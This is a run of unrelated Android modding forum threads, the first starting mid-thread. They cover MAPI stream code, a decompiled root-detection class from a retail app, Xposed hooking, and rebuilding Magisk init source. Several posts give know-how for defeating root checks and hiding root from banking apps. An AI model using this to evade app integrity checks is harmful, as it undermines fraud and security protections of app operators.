this.msg.OpenProperty(cemapi.PropTags.PR_BODY, 0)
Click to expand...
Click to collapse
stream ?
I've solved all my problems by means of the following code (for mapidotnet):
Code:
private static IntPtr ReadBuffer;
static int Read(OpenNETCF.Runtime.InteropServices.ComTypes.IStream strm, byte[] buffer)
{
int returnvalue = 0;
if (ReadBuffer == IntPtr.Zero) ReadBuffer = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof(int)));
try
{
strm.Read(buffer, buffer.Length, ReadBuffer);
returnvalue = Marshal.ReadInt32(ReadBuffer);
}
catch (NullReferenceException e)
{
returnvalue = 0;
}
return returnvalue;
}
public byte[] BodyBinary
{
get
{
int newdatasize = 0;
int buffsize = 1024*1024*3; /* If mms body is bigger than 3MB we have a problem here */
byte[] buffer = new byte[buffsize];
newdatasize = Read(this.msg.OpenProperty(cemapi.PropTags.PR_BODY, 0), buffer);
if (newdatasize < 0) { newdatasize = 0; }
byte[] data = new byte[newdatasize];
Buffer.BlockCopy(buffer, 0, data, 0, newdatasize);
Marshal.FreeCoTaskMem(ReadBuffer);
return data;
}
}
Now all is working fine and the exported files are of their own real size. I'm sure the above code can be optimized but it's working good now.
Hello all,
Just curious about some general knowledge (salute; reference: HIMYM) on whether or not it's possible to see what an app is doing (during installation, in the background, app initialization, and foreground usage)
It's not my own app in question so I understand physically seeing the code is out of the question; however I'm more concerned about what the app is doing and the files/directories it accesses, and whether or not there's a way for me to view these activities.
If you must know, the app in question is the Adidas Confirmed app as RootCloak (and various other apps) DO NOT WORK. I'm attempting to isolate the issue, and I'm fairly certain it has to do with an external resource (within the device; i.e. different partition, files, folders, etc.) that permanently marks the device 'rooted' during initial installation. Maybe if I can see exactly what the app reaches out to, I can then come up with a fix action.
Any input would be greatly appreciated.
You could try to decompile this app, but it might not work very well if the app obfuscates the code http://decompileandroid.com/
Rijul.A said:
You could try to decompile this app, but it might not work very well if the app obfuscates the code http://decompileandroid.com/
Click to expand...
Click to collapse
This actually worked PERFECTLY. I was able to go inside the src and see exactly the commands the app calls for to check root.
If anyone is interested...I'm going to try a few things out, play with some variables and see if I can't allow the app access on my rooted device.
Code:
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: braces fieldsfirst space lnc
package com.gpshopper.adidas.objects;
import android.os.Build;
import java.io.File;
// Referenced classes of package com.gpshopper.adidas.objects:
// ExecShell
public class Root
{
private static String LOG_TAG = com/gpshopper/adidas/objects/Root.getName();
public Root()
{
}
public static boolean checkRootMethod1()
{
String s = Build.TAGS;
return s != null && s.contains("test-keys");
}
public static boolean checkRootMethod2()
{
label0:
{
label1:
{
boolean flag = false;
boolean flag1;
try
{
File file = new File("/system/app/Superuser.apk");
File file1 = new File("/system/app/SuperSU/SuperSU.apk");
if (file.exists())
{
break label1;
}
flag1 = file1.exists();
}
catch (Exception exception)
{
return false;
}
if (!flag1)
{
break label0;
}
}
flag = true;
}
return flag;
}
public static boolean checkRootMethod3()
{
return (new ExecShell()).executeCommand(ExecShell.SHELL_CMD.check_su_binary) != null;
}
public static boolean isDeviceRooted()
{
return checkRootMethod1() || checkRootMethod2() || checkRootMethod3();
}
}
There is a similar file also in the src using a different language I've not yet been able to comprehend. I'm really new at this in case you couldn't already figure lol...is it possible to view my device's database where apps store variables? It may be possible the app is permanently storing the variable even after its removal so best case would be to start from a fresh ROM install. Just a theory.
The other language is generally irrelevant
Delete /data/data/<packagename>/ or clear app data normally, that will work, no need for a fresh install.
If you need help hooking this method, please quote me in a reply.
I'm a noob when it comes to both java and xposed, although I can more or less "read" java. I'm trying to create my first xposed plugin.
This is in the source (via jadx) from my original apk:
Code:
private void onHandle(byte[] data, int start, int length) {
byte b = data[start];
I wrote in my plugin:
Code:
findAndHookMethod("com.syu.ms.dev.ReceiverMcu", lpparam.classLoader, "onHandle", byte[].class, int.class, int.class, new XC_MethodHook() {
@Override
protected void beforeHookedMethod(XC_MethodHook.MethodHookParam param) throws Throwable {
[B]byte[] data = assetAsByteArray(param.thisObject, "byte[].class");[/B]
int start = getIntField(param.thisObject, "start");
int length = getIntField(param.thisObject, "length");
byte b = data[start];
....... etcetera .................
The bold part is what I need. I know that this line of code is wrong, but I'm already trying (monkey like) all kinds of constructions, but I always get an error.
How can I access that "byte[] data" from my original apk in my plugin?
The arguments are in 'param.args'. Since you want to access the first one, what you need is 'byte[] data = (byte[]) param.args[0];'
JoseRebelo said:
The arguments are in 'param.args'. Since you want to access the first one, what you need is 'byte[] data = (byte[]) param.args[0];'
Click to expand...
Click to collapse
Thanks a lot. It compiles fine now.
Now see if it really works
hello every body
i hope all of you have a good health and good life...sorry if my english is rubbish
my question is that magisk v23 deosn't flash my phone in right way it working prefectly on v24+ but i just not comfortable with magisk hide removed and zygisk and more things i found that commit https://github.com/topjohnwu/Magisk/pull/5139/commits/3ecae6300632b29e4920270e6a8ff0bdd70164b6 solved the problem with fstab iam not a developer iam just a user but i could help my self to understand by guides
so is there a way to change or to apply this changes in commit to v23 and flash my phone with it ...and if so i would really apperciate a quick gide to help me to do so...
thanks in advance
i hope you all have a good day
eslam.essa.2011 said:
hello every body
i hope all of you have a good health and good life...sorry if my english is rubbish
my question is that magisk v23 deosn't flash my phone in right way it working prefectly on v24+ but i just not comfortable with magisk hide removed and zygisk and more things i found that commit https://github.com/topjohnwu/Magisk/pull/5139/commits/3ecae6300632b29e4920270e6a8ff0bdd70164b6 solved the problem with fstab iam not a developer iam just a user but i could help my self to understand by guides
so is there a way to change or to apply this changes in commit to v23 and flash my phone with it ...and if so i would really apperciate a quick gide to help me to do so...
thanks in advance
i hope you all have a good day
Click to expand...
Click to collapse
Here, try this 3rd party version of Magisk 25.2 Delta. It has Magiskhide and no need to turn on Zygisk. You probably will have to patch your boot.img though. There is info on how to move to this version of Magisk... If you want LSPosed, first download Riru v26.1.6 , install that and reboot, then get LSPosedd riru 1.8.3, install and reboot. You can hide all banking apps and most that don't work with zygisk turned on. There is a good explanation of how Zygisk can be detected by a lot of apps. Hope this helps.
bobfrantic said:
Here, try this 3rd party version of Magisk 25.2 Delta. It has Magiskhide and no need to turn on Zygisk. You probably will have to patch your boot.img though. There is info on how to move to this version of Magisk... If you want LSPosed, first download Riru v26.1.6 , install that and reboot, then get LSPosedd riru 1.8.3, install and reboot. You can hide all banking apps and most that don't work with zygisk turned on. There is a good explanation of how Zygisk can be detected by a lot of apps. Hope this helps.
Click to expand...
Click to collapse
lots of bugs my friend sorry iam late for reading your reply+test it
iam need to build magisk from source after editing this file from v23.0 https://github.com/topjohnwu/Magisk/blob/v23.0/native/jni/init/twostage.cpp to be similar and function to this file from v24.2 https://github.com/topjohnwu/Magisk/blob/v24.2/native/jni/init/twostage.cpp but i got errors when start to build binaries any help from here ?
eslam.essa.2011 said:
lots of bugs my friend sorry iam late for reading your reply+test it
iam need to build magisk from source after editing this file from v23.0 https://github.com/topjohnwu/Magisk/blob/v23.0/native/jni/init/twostage.cpp to be similar and function to this file from v24.2 https://github.com/topjohnwu/Magisk/blob/v24.2/native/jni/init/twostage.cpp but i got errors when start to build binaries any help from here ?
Click to expand...
Click to collapse
sorry can't assist you with editing the file...
bobfrantic said:
sorry can't assist you with editing the file...
Click to expand...
Click to collapse
its ok my friend thanks for trying to help anyway
if you would please....if you know someone here who can please mention him/her here
hope you have a good day
@Didgeridoohan any help here brother if you may accept this
my problem is that i edited v23.0 twostage.cpp to be similar to this commit https://github.com/topjohnwu/Magisk/pull/5139/commits/3ecae6300632b29e4920270e6a8ff0bdd70164b6 wich solve bootloop for samsung a528b/a52s 5g but after build then flash the stock AP file with my new build magisk it still get bootloop what i did wrong i attached twostage.cpp after editing and many thanks to all of xda users who would help me and who wouldn't
Code:
#include <sys/mount.h>
#include <magisk.hpp>
#include <utils.hpp>
#include <socket.hpp>
#include "init.hpp"
using namespace std;
void fstab_entry::to_file(FILE *fp) {
fprintf(fp, "%s %s %s %s %s\n", dev.data(), mnt_point.data(),
type.data(), mnt_flags.data(), fsmgr_flags.data());
}
#define set_info(val) \
line[val##1] = '\0'; \
entry.val = &line[val##0];
#define FSR "/first_stage_ramdisk"
extern uint32_t patch_verity(void *buf, uint32_t size);
void FirstStageInit::prepare() {
if (cmd->force_normal_boot) {
xmkdirs(FSR "/system/bin", 0755);
rename("/init" /* magiskinit */, FSR "/system/bin/init");
symlink("/system/bin/init", FSR "/init");
rename("/.backup/init", "/init");
rename("/.backup", FSR "/.backup");
rename("/overlay.d", FSR "/overlay.d");
chdir(FSR);
} else {
xmkdir("/system", 0755);
xmkdir("/system/bin", 0755);
rename("/init" /* magiskinit */ , "/system/bin/init");
rename("/.backup/init", "/init");
}
char fstab_file[128];
fstab_file[0] = '\0';
// Find existing fstab file
for (const char *suffix : { cmd->fstab_suffix, cmd->hardware, cmd->hardware_plat }) {
if (suffix[0] == '\0')
continue;
for (const char *prefix: { "odm/etc/fstab", "vendor/etc/fstab", "fstab" }) {
sprintf(fstab_file, "%s.%s", prefix, suffix);
if (access(fstab_file, F_OK) != 0) {
fstab_file[0] = '\0';
} else {
LOGD("Found fstab file: %s\n", fstab_file);
goto exit_loop;
}
}
}
exit_loop:
// Try to load dt fstab
vector<fstab_entry> fstab;
read_dt_fstab(fstab);
if (!fstab.empty()) {
// Dump dt fstab to fstab file in rootfs and force init to use it instead
// All dt fstab entries should be first_stage_mount
for (auto &entry : fstab) {
if (!str_contains(entry.fsmgr_flags, "first_stage_mount")) {
if (!entry.fsmgr_flags.empty())
entry.fsmgr_flags += ',';
entry.fsmgr_flags += "first_stage_mount";
}
}
if (fstab_file[0] == '\0') {
const char *suffix =
cmd->fstab_suffix[0] ? cmd->fstab_suffix :
(cmd->hardware[0] ? cmd->hardware :
(cmd->hardware_plat[0] ? cmd->hardware_plat : nullptr));
if (suffix == nullptr) {
LOGE("Cannot determine fstab suffix!\n");
return;
}
sprintf(fstab_file, "fstab.%s", suffix);
}
// Patch init to force IsDtFstabCompatible() return false
auto init = mmap_data::rw("/init");
init.patch({ make_pair("android,fstab", "xxx") });
} else {
// Parse and load the fstab file
file_readline(fstab_file, [&](string_view l) -> bool {
if (l[0] == '#' || l.length() == 1)
return true;
char *line = (char *) l.data();
int dev0, dev1, mnt_point0, mnt_point1, type0, type1,
mnt_flags0, mnt_flags1, fsmgr_flags0, fsmgr_flags1;
sscanf(line, "%n%*s%n %n%*s%n %n%*s%n %n%*s%n %n%*s%n",
&dev0, &dev1, &mnt_point0, &mnt_point1, &type0, &type1,
&mnt_flags0, &mnt_flags1, &fsmgr_flags0, &fsmgr_flags1);
fstab_entry entry;
set_info(dev);
set_info(mnt_point);
set_info(type);
set_info(mnt_flags);
set_info(fsmgr_flags);
fstab.emplace_back(std::move(entry));
return true;
});
}
{
LOGD("Write fstab file: %s\n", fstab_file);
auto fp = xopen_file(fstab_file, "we");
for (auto &entry : fstab) {
// Redirect system mnt_point so init won't switch root in first stage init
if (entry.mnt_point == "/system")
entry.mnt_point = "/system_root";
// Force remove AVB for 2SI since it may bootloop some devices
auto len = patch_verity(entry.fsmgr_flags.data(), entry.fsmgr_flags.length());
entry.fsmgr_flags.resize(len);
entry.to_file(fp.get());
}
}
chmod(fstab_file, 0644);
chdir("/");
}
#define INIT_PATH "/system/bin/init"
#define REDIR_PATH "/system/bin/am"
void SARInit::first_stage_prep() {
xmount("tmpfs", "/dev", "tmpfs", 0, "mode=755");
// Patch init binary
int src = xopen("/init", O_RDONLY);
int dest = xopen("/dev/init", O_CREAT | O_WRONLY, 0);
{
auto init = mmap_data::ro("/init");
init.patch({ make_pair(INIT_PATH, REDIR_PATH) });
write(dest, init.buf, init.sz);
fclone_attr(src, dest);
close(dest);
}
// Replace redirect init with magiskinit
dest = xopen("/dev/magiskinit", O_CREAT | O_WRONLY, 0);
write(dest, self.buf, self.sz);
fclone_attr(src, dest);
close(src);
close(dest);
xmount("/dev/init", "/init", nullptr, MS_BIND, nullptr);
xmount("/dev/magiskinit", REDIR_PATH, nullptr, MS_BIND, nullptr);
xumount2("/dev", MNT_DETACH);
// Block SIGUSR1
sigset_t block, old;
sigemptyset(&block);
sigaddset(&block, SIGUSR1);
sigprocmask(SIG_BLOCK, &block, &old);
if (int child = xfork()) {
LOGD("init daemon [%d]\n", child);
// Wait for children signal
int sig;
sigwait(&block, &sig);
// Restore sigmask
sigprocmask(SIG_SETMASK, &old, nullptr);
} else {
// Establish socket for 2nd stage ack
struct sockaddr_un sun;
int sockfd = xsocket(AF_LOCAL, SOCK_STREAM | SOCK_CLOEXEC, 0);
xbind(sockfd, (struct sockaddr*) &sun, setup_sockaddr(&sun, INIT_SOCKET));
xlisten(sockfd, 1);
// Resume parent
kill(getppid(), SIGUSR1);
// Wait for second stage ack
int client = xaccept4(sockfd, nullptr, nullptr, SOCK_CLOEXEC);
// Write backup files
string tmp_dir = read_string(client);
chdir(tmp_dir.data());
int cfg = xopen(INTLROOT "/config", O_WRONLY | O_CREAT, 0);
xwrite(cfg, config.buf, config.sz);
close(cfg);
restore_folder(ROOTOVL, overlays);
// Ack and bail out!
write_int(client, 0);
close(client);
close(sockfd);
exit(0);
}
}